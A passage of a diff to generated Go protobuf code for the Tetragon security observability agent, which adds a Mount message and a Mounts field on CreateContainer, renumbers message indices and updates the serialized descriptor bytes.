RuntimeHookRequest struct { state protoimpl.MessageState `protogen:"open.v1"` @@ -4201,7 +4668,7 @@ type RuntimeHookRequest struct { func (x *RuntimeHookRequest) Reset() { *x = RuntimeHookRequest{} - mi := &file_tetragon_tetragon_proto_msgTypes[42] + mi := &file_tetragon_tetragon_proto_msgTypes[47] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4213,7 +4680,7 @@ func (x *RuntimeHookRequest) String() string { func (*RuntimeHookRequest) ProtoMessage() {} func (x *RuntimeHookRequest) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[42] + mi := &file_tetragon_tetragon_proto_msgTypes[47] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4226,7 +4693,7 @@ func (x *RuntimeHookRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use RuntimeHookRequest.ProtoReflect.Descriptor instead. func (*RuntimeHookRequest) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{42} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{47} } func (x *RuntimeHookRequest) GetEvent() isRuntimeHookRequest_Event { @@ -4263,7 +4730,7 @@ type RuntimeHookResponse struct { func (x *RuntimeHookResponse) Reset() { *x = RuntimeHookResponse{} - mi := &file_tetragon_tetragon_proto_msgTypes[43] + mi := &file_tetragon_tetragon_proto_msgTypes[48] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4275,7 +4742,7 @@ func (x *RuntimeHookResponse) String() string { func (*RuntimeHookResponse) ProtoMessage() {} func (x *RuntimeHookResponse) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[43] + mi := &file_tetragon_tetragon_proto_msgTypes[48] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4288,7 +4755,79 @@ func (x *RuntimeHookResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use RuntimeHookResponse.ProtoReflect.Descriptor instead. func (*RuntimeHookResponse) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{43} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{48} +} + +type Mount struct { + state protoimpl.MessageState `protogen:"open.v1"` + // Destination is the absolute path where the mount will be placed in the container. + Destination string `protobuf:"bytes,1,opt,name=destination,proto3" json:"destination,omitempty"` + // Type specifies the mount kind. + Type string `protobuf:"bytes,2,opt,name=type,proto3" json:"type,omitempty"` + // Source specifies the source path of the mount. + Source string `protobuf:"bytes,3,opt,name=source,proto3" json:"source,omitempty"` + // Options are fstab style mount options. + Options []string `protobuf:"bytes,4,rep,name=options,proto3" json:"options,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *Mount) Reset() { + *x = Mount{} + mi := &file_tetragon_tetragon_proto_msgTypes[49] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *Mount) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*Mount) ProtoMessage() {} + +func (x *Mount) ProtoReflect() protoreflect.Message { + mi := &file_tetragon_tetragon_proto_msgTypes[49] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use Mount.ProtoReflect.Descriptor instead. +func (*Mount) Descriptor() ([]byte, []int) { + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{49} +} + +func (x *Mount) GetDestination() string { + if x != nil { + return x.Destination + } + return "" +} + +func (x *Mount) GetType() string { + if x != nil { + return x.Type + } + return "" +} + +func (x *Mount) GetSource() string { + if x != nil { + return x.Source + } + return "" +} + +func (x *Mount) GetOptions() []string { + if x != nil { + return x.Options + } + return nil } // CreateContainer informs the agent that a container was created @@ -4322,13 +4861,15 @@ type CreateContainer struct { PodNamespace string `protobuf:"bytes,8,opt,name=podNamespace,proto3" json:"podNamespace,omitempty"` // containerImage is the full image location (repo + image) ContainerImage string `protobuf:"bytes,9,opt,name=containerImage,proto3" json:"containerImage,omitempty"` - unknownFields protoimpl.UnknownFields - sizeCache protoimpl.SizeCache + // Mounts configures additional mounts (on top of Root). + Mounts []*Mount `protobuf:"bytes,10,rep,name=mounts,proto3" json:"mounts,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *CreateContainer) Reset() { *x = CreateContainer{} - mi := &file_tetragon_tetragon_proto_msgTypes[44] + mi := &file_tetragon_tetragon_proto_msgTypes[50] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4340,7 +4881,7 @@ func (x *CreateContainer) String() string { func (*CreateContainer) ProtoMessage() {} func (x *CreateContainer) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[44] + mi := &file_tetragon_tetragon_proto_msgTypes[50] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4353,7 +4894,7 @@ func (x *CreateContainer) ProtoReflect() protoreflect.Message { // Deprecated: Use CreateContainer.ProtoReflect.Descriptor instead. func (*CreateContainer) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{44} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{50} } func (x *CreateContainer) GetCgroupsPath() string { @@ -4419,6 +4960,13 @@ func (x *CreateContainer) GetContainerImage() string { return "" } +func (x *CreateContainer) GetMounts() []*Mount { + if x != nil { + return x.Mounts + } + return nil +} + type StackTraceEntry struct { state protoimpl.MessageState `protogen:"open.v1"` // linear address of the function in kernel or user space. @@ -4435,7 +4983,7 @@ type StackTraceEntry struct { func (x *StackTraceEntry) Reset() { *x = StackTraceEntry{} - mi := &file_tetragon_tetragon_proto_msgTypes[45] + mi := &file_tetragon_tetragon_proto_msgTypes[51] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4447,7 +4995,7 @@ func (x *StackTraceEntry) String() string { func (*StackTraceEntry) ProtoMessage() {} func (x *StackTraceEntry) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[45] + mi := &file_tetragon_tetragon_proto_msgTypes[51] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4460,7 +5008,7 @@ func (x *StackTraceEntry) ProtoReflect() protoreflect.Message { // Deprecated: Use StackTraceEntry.ProtoReflect.Descriptor instead. func (*StackTraceEntry) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{45} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{51} } func (x *StackTraceEntry) GetAddress() uint64 { @@ -4528,718 +5076,802 @@ var file_tetragon_tetragon_proto_rawDesc = []byte{ 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x53, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, 0x79, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x52, 0x0f, 0x73, 0x65, 0x63, 0x75, 0x72, 0x69, - 0x74, 0x79, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x22, 0xb5, 0x03, 0x0a, 0x03, 0x50, 0x6f, + 0x74, 0x79, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x22, 0xc7, 0x03, 0x0a, 0x03, 0x50, 0x6f, 0x64, 0x12, 0x1c, 0x0a, 0x09, 0x6e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x6e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, - 0x61, 0x6d, 0x65, 0x12, 0x31, 0x0a, 0x09, 0x63, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x65, 0x72, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, - 0x6e, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x65, 0x72, 0x52, 0x09, 0x63, 0x6f, 0x6e, - 0x74, 0x61, 0x69, 0x6e, 0x65, 0x72, 0x12, 0x3b, 0x0a, 0x0a, 0x70, 0x6f, 0x64, 0x5f, 0x6c, 0x61, - 0x62, 0x65, 0x6c, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x74, 0x65, 0x74, - 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x6f, 0x64, 0x2e, 0x50, 0x6f, 0x64, 0x4c, 0x61, 0x62, - 0x65, 0x6c, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x70, 0x6f, 0x64, 0x4c, 0x61, 0x62, - 0x65, 0x6c, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x77, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x18, - 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x77, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x12, - 0x23, 0x0a, 0x0d, 0x77, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x5f, 0x6b, 0x69, 0x6e, 0x64, - 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x77, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, - 0x4b, 0x69, 0x6e, 0x64, 0x12, 0x4a, 0x0a, 0x0f, 0x70, 0x6f, 0x64, 0x5f, 0x61, 0x6e, 0x6e, 0x6f, - 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x21, 0x2e, - 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x6f, 0x64, 0x2e, 0x50, 0x6f, 0x64, - 0x41, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x52, 0x0e, 0x70, 0x6f, 0x64, 0x41, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x1a, 0x3c, 0x0a, 0x0e, 0x50, 0x6f, 0x64, 0x4c, 0x61, 0x62, 0x65, 0x6c, 0x73, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x41, - 0x0a, 0x13, 0x50, 0x6f, 0x64, 0x41, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, - 0x01, 0x22, 0xc0, 0x01, 0x0a, 0x0c, 0x43, 0x61, 0x70, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x69, - 0x65, 0x73, 0x12, 0x38, 0x0a, 0x09, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x18, - 0x01, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, - 0x2e, 0x43, 0x61, 0x70, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x69, 0x65, 0x73, 0x54, 0x79, 0x70, - 0x65, 0x52, 0x09, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x12, 0x38, 0x0a, 0x09, - 0x65, 0x66, 0x66, 0x65, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0e, 0x32, - 0x1a, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x43, 0x61, 0x70, 0x61, 0x62, - 0x69, 0x6c, 0x69, 0x74, 0x69, 0x65, 0x73, 0x54, 0x79, 0x70, 0x65, 0x52, 0x09, 0x65, 0x66, 0x66, - 0x65, 0x63, 0x74, 0x69, 0x76, 0x65, 0x12, 0x3c, 0x0a, 0x0b, 0x69, 0x6e, 0x68, 0x65, 0x72, 0x69, - 0x74, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x74, 0x65, - 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x43, 0x61, 0x70, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, - 0x69, 0x65, 0x73, 0x54, 0x79, 0x70, 0x65, 0x52, 0x0b, 0x69, 0x6e, 0x68, 0x65, 0x72, 0x69, 0x74, - 0x61, 0x62, 0x6c, 0x65, 0x22, 0x38, 0x0a, 0x09, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, - 0x65, 0x12, 0x12, 0x0a, 0x04, 0x69, 0x6e, 0x75, 0x6d, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x04, 0x69, 0x6e, 0x75, 0x6d, 0x12, 0x17, 0x0a, 0x07, 0x69, 0x73, 0x5f, 0x68, 0x6f, 0x73, 0x74, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x69, 0x73, 0x48, 0x6f, 0x73, 0x74, 0x22, 0xce, - 0x03, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x73, 0x12, 0x25, 0x0a, - 0x03, 0x75, 0x74, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x74, 0x65, 0x74, + 0x61, 0x6d, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x75, 0x69, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x75, 0x69, 0x64, 0x12, 0x31, 0x0a, 0x09, 0x63, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, + 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, + 0x67, 0x6f, 0x6e, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x65, 0x72, 0x52, 0x09, 0x63, + 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x65, 0x72, 0x12, 0x3b, 0x0a, 0x0a, 0x70, 0x6f, 0x64, 0x5f, + 0x6c, 0x61, 0x62, 0x65, 0x6c, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x74, + 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x6f, 0x64, 0x2e, 0x50, 0x6f, 0x64, 0x4c, + 0x61, 0x62, 0x65, 0x6c, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x70, 0x6f, 0x64, 0x4c, + 0x61, 0x62, 0x65, 0x6c, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x77, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, + 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x77, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, + 0x64, 0x12, 0x23, 0x0a, 0x0d, 0x77, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x5f, 0x6b, 0x69, + 0x6e, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x77, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, + 0x61, 0x64, 0x4b, 0x69, 0x6e, 0x64, 0x12, 0x4a, 0x0a, 0x0f, 0x70, 0x6f, 0x64, 0x5f, 0x61, 0x6e, + 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x21, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x6f, 0x64, 0x2e, 0x50, + 0x6f, 0x64, 0x41, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x52, 0x0e, 0x70, 0x6f, 0x64, 0x41, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x1a, 0x3c, 0x0a, 0x0e, 0x50, 0x6f, 0x64, 0x4c, 0x61, 0x62, 0x65, 0x6c, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, + 0x1a, 0x41, 0x0a, 0x13, 0x50, 0x6f, 0x64, 0x41, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, + 0x02, 0x38, 0x01, 0x22, 0xc0, 0x01, 0x0a, 0x0c, 0x43, 0x61, 0x70, 0x61, 0x62, 0x69, 0x6c, 0x69, + 0x74, 0x69, 0x65, 0x73, 0x12, 0x38, 0x0a, 0x09, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x74, 0x74, 0x65, + 0x64, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, + 0x6f, 0x6e, 0x2e, 0x43, 0x61, 0x70, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x69, 0x65, 0x73, 0x54, + 0x79, 0x70, 0x65, 0x52, 0x09, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x12, 0x38, + 0x0a, 0x09, 0x65, 0x66, 0x66, 0x65, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0e, 0x32, 0x1a, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x43, 0x61, 0x70, + 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x69, 0x65, 0x73, 0x54, 0x79, 0x70, 0x65, 0x52, 0x09, 0x65, + 0x66, 0x66, 0x65, 0x63, 0x74, 0x69, 0x76, 0x65, 0x12, 0x3c, 0x0a, 0x0b, 0x69, 0x6e, 0x68, 0x65, + 0x72, 0x69, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1a, 0x2e, + 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x43, 0x61, 0x70, 0x61, 0x62, 0x69, 0x6c, + 0x69, 0x74, 0x69, 0x65, 0x73, 0x54, 0x79, 0x70, 0x65, 0x52, 0x0b, 0x69, 0x6e, 0x68, 0x65, 0x72, + 0x69, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x22, 0x38, 0x0a, 0x09, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, + 0x61, 0x63, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x69, 0x6e, 0x75, 0x6d, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x04, 0x69, 0x6e, 0x75, 0x6d, 0x12, 0x17, 0x0a, 0x07, 0x69, 0x73, 0x5f, 0x68, 0x6f, + 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x69, 0x73, 0x48, 0x6f, 0x73, 0x74, + 0x22, 0xce, 0x03, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x73, 0x12, + 0x25, 0x0a, 0x03, 0x75, 0x74, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x74, + 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, + 0x65, 0x52, 0x03, 0x75, 0x74, 0x73, 0x12, 0x25, 0x0a, 0x03, 0x69, 0x70, 0x63, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4e, + 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x52, 0x03, 0x69, 0x70, 0x63, 0x12, 0x25, 0x0a, + 0x03, 0x6d, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x52, - 0x03, 0x75, 0x74, 0x73, 0x12, 0x25, 0x0a, 0x03, 0x69, 0x70, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x03, 0x6d, 0x6e, 0x74, 0x12, 0x25, 0x0a, 0x03, 0x70, 0x69, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4e, 0x61, 0x6d, - 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x52, 0x03, 0x69, 0x70, 0x63, 0x12, 0x25, 0x0a, 0x03, 0x6d, - 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, - 0x67, 0x6f, 0x6e, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x52, 0x03, 0x6d, - 0x6e, 0x74, 0x12, 0x25, 0x0a, 0x03, 0x70, 0x69, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x52, 0x03, 0x70, 0x69, 0x64, 0x12, 0x3d, 0x0a, 0x10, 0x70, + 0x69, 0x64, 0x5f, 0x66, 0x6f, 0x72, 0x5f, 0x63, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, + 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x52, 0x0e, 0x70, 0x69, 0x64, 0x46, + 0x6f, 0x72, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x12, 0x25, 0x0a, 0x03, 0x6e, 0x65, + 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, + 0x6f, 0x6e, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x52, 0x03, 0x6e, 0x65, + 0x74, 0x12, 0x27, 0x0a, 0x04, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x73, - 0x70, 0x61, 0x63, 0x65, 0x52, 0x03, 0x70, 0x69, 0x64, 0x12, 0x3d, 0x0a, 0x10, 0x70, 0x69, 0x64, - 0x5f, 0x66, 0x6f, 0x72, 0x5f, 0x63, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, 0x05, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4e, - 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x52, 0x0e, 0x70, 0x69, 0x64, 0x46, 0x6f, 0x72, - 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x12, 0x25, 0x0a, 0x03, 0x6e, 0x65, 0x74, 0x18, - 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, - 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x52, 0x03, 0x6e, 0x65, 0x74, 0x12, - 0x27, 0x0a, 0x04, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, - 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, - 0x63, 0x65, 0x52, 0x04, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x3f, 0x0a, 0x11, 0x74, 0x69, 0x6d, 0x65, - 0x5f, 0x66, 0x6f, 0x72, 0x5f, 0x63, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, 0x08, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4e, - 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x52, 0x0f, 0x74, 0x69, 0x6d, 0x65, 0x46, 0x6f, - 0x72, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x12, 0x2b, 0x0a, 0x06, 0x63, 0x67, 0x72, - 0x6f, 0x75, 0x70, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x74, 0x65, 0x74, 0x72, - 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x52, 0x06, - 0x63, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x12, 0x27, 0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x0a, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, - 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x52, 0x04, 